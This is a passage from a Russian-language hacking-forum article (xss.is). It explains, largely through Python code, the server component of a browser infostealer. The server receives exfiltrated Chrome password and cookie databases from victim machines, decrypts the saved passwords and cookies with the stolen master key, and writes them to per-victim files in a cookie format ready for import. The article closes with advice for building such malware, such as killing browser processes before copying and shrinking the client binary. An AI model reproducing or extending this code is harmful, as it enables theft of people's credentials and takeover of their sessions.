decoded_data = base64.b64decode(file_data)
db_name = f'{browser_name}_{param_name}_{idx}.db'
db_path = os.path.join(unique_id_logs_dir, db_name)
with open(db_path, 'wb') as db_file:
db_file.write(decoded_data)
if param_name == "login_data":
connection = sqlite3.connect(db_path)
cursor = connection.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
for row in cursor.fetchall():
origin_url = row[0]
username_value = row[1]
encrypted_password = row[2]
decrypted_password = decrypt_password(encrypted_password, key)
if decrypted_password and username_value:
passwords_file.write(f'Browser: {browser_name}\n')
passwords_file.write(f'Origin URL: {origin_url}\n')
passwords_file.write(f'Username: {username_value}\n')
passwords_file.write(f'Password: {decrypted_password}\n')
passwords_file.write('\n')
print(f"Файл {db_name} успешно сохранен и пароли расшифрованы.")
connection.close()
elif param_name == "cookies":
cookies_file_path = os.path.join(unique_id_logs_dir, f'cookies_{browser_name}_{idx}.txt')
process_cookies(decoded_data, key, cookies_file_path)
print(f"Файл {db_name} успешно сохранен и cookies расшифрованы.")
# Удаление временного файла базы данных после обработки
os.remove(db_path)
except Exception as e:
print(f"Ошибка при обработке файла: {str(e)}")
print("Получены данные от клиента с уникальным идентификатором:", unique_id)
return json.dumps({'message': 'Данные успешно получены и обработаны.'}, ensure_ascii=False), 200
except Exception as e:
return json.dumps({'error': f'Ошибка при обработке данных: {str(e)}'}, ensure_ascii=False), 500
Теперь рассмотрим этот код по частям.
- Python: Скопировать в буфер обмена
def receive_browser_log(unique_id):
Данная функция первым делом принимает JSON от клиента - Python: Скопировать в буфер обмена
Код:unique_id_logs_dir = os.path.join(app.root_path, 'logs', unique_id) os.makedirs(unique_id_logs_dir, exist_ok=True)
- Python: Скопировать в буфер обмена
passwords_file_path = os.path.join(unique_id_logs_dir, 'passwords.txt')
Путь до файла в котором будут записаны пароли - Python: Скопировать в буфер обмена
Код:key_base64 = browser_data.get("key") if key_base64 is None: print(f'В браузере {browser_name} отсутствует ключ.') continue
- Python: Скопировать в буфер обмена
key = base64.b64decode(key_base64)
Декодирование ключа из base64 в байты - Python: Скопировать в буфер обмена
Код:decoded_data = base64.b64decode(file_data) db_name = f'{browser_name}_{param_name}_{idx}.db' db_path = os.path.join(unique_id_logs_dir, db_name) with open(db_path, 'wb') as db_file: db_file.write(decoded_data)
- Python: Скопировать в буфер обмена
Код:if (param_name == "login_data"): connection = sqlite3.connect(db_path) cursor = connection.cursor() cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
- Python: Скопировать в буфер обмена
Код:origin_url = row[0] username_value = row[1] encrypted_password = row[2]
- Python: Скопировать в буфер обмена
decrypted_password = decrypt_password(encrypted_password, key)
Вызывается функция decrypt_password в которую передается зашифрованный пароль и ключ который был ранее декодирован из base64. - Python: Скопировать в буфер обмена
Код:passwords_file.write(f'Browser: {browser_name}\n') passwords_file.write(f'Origin URL: {origin_url}\n') passwords_file.write(f'Username: {username_value}\n') passwords_file.write(f'Password: {decrypted_password}\n')
- Python: Скопировать в буфер обмена
Код:elif param_name == "cookies": cookies_file_path = os.path.join(unique_id_logs_dir, f'cookies_{browser_name}_{idx}.txt') process_cookies(decoded_data, key, cookies_file_path) print(f"Файл {db_name} успешно сохранен и cookies расшифрованы.")
- Python: Скопировать в буфер обмена
process_cookies(decoded_data, key, cookies_file_path)
Вызывается функция process_cookie в которую передается ключ, декодированные данные куки и путь до файла в которрый будут записываться куки.
Python: Скопировать в буфер обмена
Код:
def process_cookies(cookies_db, master_key, cookies_file_path):
try:
cookies_list = ''
temp_cookies_db = os.path.join(os.path.dirname(cookies_file_path), f"temp_cookies_db_{time.time()}.db")
with open(temp_cookies_db, "wb") as f:
f.write(cookies_db)
conn = sqlite3.connect(temp_cookies_db)
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies")
for item in cursor.fetchall():
try:
decrypted_value = decrypt_cookie(item[2], master_key)
if decrypted_value:
cookies_list += f'{item[0]}\t{str(bool(item[5])).upper()}\t{item[3]}\t{str(bool(item[6])).upper()}\t{item[4]}\t{item[1]}\t{decrypted_value}\n'
except sqlite3.Error as e:
print(f"Error cookies: {e}")
conn.close()
os.remove(temp_cookies_db)
if cookies_list:
with open(cookies_file_path, 'w') as cookies_file:
cookies_file.write(cookies_list)
except Exception as e:
print(f"Error cookies: {e}")
Python: Скопировать в буфер обмена
host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly
После чего вызывается функция для расшифровки:
Python: Скопировать в буфер обмена
decrypted_value = decrypt_cookie(item[2], master_key)
После этого происходит запись данных из столбцов базы данных в определенном порядке:
Python: Скопировать в буфер обмена
{item[0]}\t{str(bool(item[5])).upper()}\t{item[3]}\t{str(bool(item[6])).upper()}\t{item[4]}\t{item[1]}\t{decrypted_value}
Так и получается готовый файл куки. Хочу отметить, что очень важен порядок при записи в текстовый файл, так как если поменять хоть какой-то параметр местами, куки просто не будут корректно загружаться.
На этом весь код заканчивается. Хотел бы дать пару советов по улучшению для тех, кто хочет попробовать написать подобное программное обеспечение:
- Для того чтобы копировать файлы куки и паролей, нужно, чтобы браузеры были закрыты, так что лучше перед сбором файлов закрывать их. Мне писали о том, что есть вариант не закрывать процессы браузеров, но я этим пока что не интересовался. Поэтому самым простым способом будет простое закрытие процессов.
- У меня в клиенте используются NuGet пакеты для корректной работы, но проблема в том, что при компиляции получаются зависимости в виде DLL файлов, и они очень много весят. Конечно, есть способы, чтобы DLL не были отдельными файлами, а все компилировалось в один EXE файл, но это все равно не решает проблемы с весом. Поэтому, если вам важен каждый килобайт исполняемого файла, потребуется использовать не NuGet пакеты, например, для расшифровки DPAPI, а файлы с кодом, который будет это делать.
NuGet пакет, который встроит все DLL в один исполняемый файл: Costura.Fody
Скорее всего, это будет последней статьей на эту тему, так как дальше пойдут лишь улучшения, которые я не могу показать, так как все изменения будут предназначены для проекта на заказ. Помните, предоставленный мной код нужен лишь для ознакомления, а не для использования на практике, поэтому не копируйте бездумно мой код, если хотите чему-то научиться.
Статья написана CognitoInc специально для форума xss.is